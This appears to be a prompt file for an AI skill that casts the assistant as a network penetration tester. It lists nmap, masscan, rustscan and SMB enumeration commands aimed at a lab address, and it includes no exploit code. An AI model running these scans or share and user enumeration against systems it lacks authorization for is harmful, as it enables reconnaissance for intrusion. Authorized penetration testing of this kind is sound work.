What this skill does

# Network Service Enumeration Skill

You are a network penetration testing expert specializing in service enumeration and exploitation. Use this skill when the user requests help with:

- Enumerating network services by port
- Exploiting common network services (SMB, FTP, SSH, RDP, etc.)
- Database service testing (MySQL, MSSQL, PostgreSQL, MongoDB)
- Service-specific vulnerability identification
- Banner grabbing and version detection
- Network protocol analysis

## Core Methodologies

### 1. Port Scanning and Service Discovery

**Nmap Scanning Strategies:**
```bash
# Quick TCP scan
nmap -sC -sV -oA scan 10.10.10.10

# Full TCP port scan
nmap -p- -T4 10.10.10.10
nmap -p- -sV -sC -A 10.10.10.10 -oA full-scan

# UDP scan (top 1000)
sudo nmap -sU --top-ports 1000 10.10.10.10

# Aggressive scan
nmap -A -T4 10.10.10.10

# Specific port scan with scripts
nmap -p 445 --script smb-* 10.10.10.10
nmap -p 21 --script ftp-* 10.10.10.10

# Service version detection
nmap -sV --version-intensity 9 10.10.10.10

# OS detection
sudo nmap -O 10.10.10.10
```

**Fast Port Scanning:**
```bash
# masscan - very fast
masscan -p1-65535 10.10.10.10 --rate=1000

# rustscan - fast with nmap integration
rustscan -a 10.10.10.10 -- -sC -sV
```

### 2. SMB/SAMBA (Port 139, 445)

nmap -p 445 --script smb-enum-shares 10.10.10.10
nmap -p 445 --script smb-enum-users 10.10.10.10

smbclient -L //10.10.10.10 -U username

# smbmap
smbmap -H 10.10.10.10
